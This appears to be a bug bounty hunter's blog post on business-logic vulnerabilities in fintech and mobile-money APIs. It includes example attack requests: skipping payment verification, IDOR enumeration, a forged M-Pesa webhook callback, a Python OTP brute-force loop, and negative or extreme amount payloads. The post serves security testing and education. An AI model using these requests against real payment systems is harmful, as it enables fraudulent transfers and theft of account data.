Working in fintech security — both building payment infrastructure at Durrafx and testing external platforms through bug bounty — has given me a particular view of how fintech APIs fail. The standard OWASP Top 10 checklist catches the obvious stuff. This post is about what comes after that.

Why Fintech APIs Are Different Link to heading

A generic web app leaking user data is bad. A payment API leaking transaction data, processing unauthorized disbursements, or allowing account takeover is directly money-out-the-door bad. The stakes mean that subtle logic flaws — the kind that don’t trigger a WAF, don’t show up in automated scans, and require understanding the business model — are often the most valuable findings.

1. Payment Flow Logic Bypass Link to heading

This is the class I find most consistently. The API enforces security at individual endpoints, but the sequence of calls isn’t validated server-side.

Example pattern:

A disbursement flow might look like:

  1. POST /api/payment/initiate → returns payment_id
  2. POST /api/payment/verify → validates amount and recipient
  3. POST /api/payment/execute → processes the transfer

The vulnerability: can you call step 3 directly without step 2? Or call step 2 with a modified amount, then replay a cached authorization token in step 3?

# Initiate a payment for KES 100
curl -X POST /api/payment/initiate \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"amount": 100, "recipient": "254XXXXXXXXX"}'

# Response: {"payment_id": "pay_abc123", "status": "pending"}

# Skip verification, go straight to execute
curl -X POST /api/payment/execute \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"payment_id": "pay_abc123"}'

If the server trusts the client to have completed the prior step, you’ve found a payment flow bypass.

What to test:

  • Call steps out of order
  • Replay execution tokens after modifying the initiation payload
  • Tamper with amount/recipient between steps and see what the final step honors

2. IDOR on Transaction and Account References Link to heading

Mobile money and fintech APIs frequently expose sequential or predictable transaction IDs. Even when they use UUIDs, the scope check is often inconsistent.

# Your transaction
GET /api/transactions/txn_00001234

# Someone else's?
GET /api/transactions/txn_00001233
GET /api/transactions/txn_00001235

More subtle: APIs that accept a user_id parameter alongside a Bearer token, and validate the token — but then use the supplied user_id to determine which data to return.

# Authenticated as user A, but requesting user B's data
GET /api/account/balance?user_id=user_B_id
Authorization: Bearer user_A_token

If the backend checks “is this token valid?” but not “does this token belong to the user_id in the request?” — that’s an IDOR.

East African context: Mobile money integrations (M-Pesa Daraja, Airtel Money) often expose the phone number as the primary account identifier. Phone numbers are guessable. A scope failure here leaks real transaction history tied to real people.

3. Webhook Signature Validation Gaps Link to heading

Fintech platforms receive callbacks from payment processors (M-Pesa, card networks, etc.) via webhooks. If the receiving endpoint doesn’t validate the webhook signature, an attacker can forge payment confirmations.

# Vulnerable: trusting the webhook body without verifying signature
@app.route('/webhook/payment-confirmation', methods=['POST'])
def handle_payment():
    data = request.json
    if data['status'] == 'SUCCESS':
        credit_account(data['user_id'], data['amount'])
    return '', 200

The attack: send a forged POST to the webhook endpoint claiming a successful payment for a transaction that was never completed (or failed).

What to test:

  1. Does the endpoint verify an HMAC signature from the payment provider?
  2. If yes — does it verify the timestamp (preventing replay attacks)?
  3. Is the webhook endpoint publicly documented or guessable (/webhook, /callback, /ipn)?
# Attempt a forged M-Pesa STK Push callback
curl -X POST https://target.com/api/mpesa/callback \
  -H "Content-Type: application/json" \
  -d '{
    "Body": {
      "stkCallback": {
        "MerchantRequestID": "...",
        "CheckoutRequestID": "...",
        "ResultCode": 0,
        "ResultDesc": "The service request is processed successfully."
      }
    }
  }'

4. Rate Limiting on Sensitive Operations Link to heading

Not the login endpoint — everyone rate-limits that now. The gaps are elsewhere:

  • OTP verification: Can you brute-force a 6-digit PIN if there’s no lockout after N attempts?
  • Account balance checks: Can you enumerate whether phone numbers are registered?
  • Transaction status polling: Is there a rate limit on GET /api/transactions/{id}/status? A missing limit here enables timing attacks.
import requests, time

# Brute force a 6-digit OTP with no rate limiting
for otp in range(100000, 999999):
    r = requests.post('/api/auth/verify-otp', json={
        'phone': '254XXXXXXXXX',
        'otp': str(otp).zfill(6)
    })
    if r.status_code == 200:
        print(f"Valid OTP: {otp}")
        break
    time.sleep(0.05)  # avoid obvious flooding

5. Authorization Scope Creep on Agent/Merchant APIs Link to heading

Fintech platforms often have a layered permission model: superadmin → admin → merchant → agent → customer. The bugs live at the edges — especially where merchant or agent tokens can access admin-level functionality.

Test every privileged endpoint with downgraded tokens:

# As a merchant-level user, try admin endpoints
GET /api/admin/users          # should 403
GET /api/admin/transactions   # should 403
POST /api/admin/refund        # should 403 — but does it?

I’ve found cases where the /api/admin/* path was protected, but /api/v2/admin/* or /api/internal/* wasn’t — because the authorization middleware was applied by path prefix and someone added the new version without updating the middleware config.

6. Currency and Amount Precision Manipulation Link to heading

This one is subtle. Financial systems that handle floating-point arithmetic can be manipulated through precision.

  • Send amount: 99.999 when the system rounds to 100 for processing but charges 99.999
  • Send negative amounts on some operations
  • Send amounts with more decimal places than the payment processor accepts — what does the system round to?
  • Send amount: 0 — is a zero-value transaction allowed? What does it do to internal accounting?
# Test amount edge cases
curl -X POST /api/payment/send \
  -d '{"amount": -100, "recipient": "254XXXXXXXXX"}'

curl -X POST /api/payment/send \
  -d '{"amount": 0.001, "recipient": "254XXXXXXXXX"}'

curl -X POST /api/payment/send \
  -d '{"amount": 99999999999, "recipient": "254XXXXXXXXX"}'

The Mindset Shift Link to heading

What separates fintech API testing from standard web app pentesting is that you need to understand the business logic deeply enough to find cases the developers didn’t anticipate — not just the inputs they forgot to sanitize.

Read the API documentation. Use the product as a real user. Map the money flow. Then ask: what happens if I interrupt the flow here? What if I modify this value? What if I skip this step?

The most impactful vulnerabilities I’ve found weren’t in the security controls. They were in the assumptions the developers made about how their own system would be used.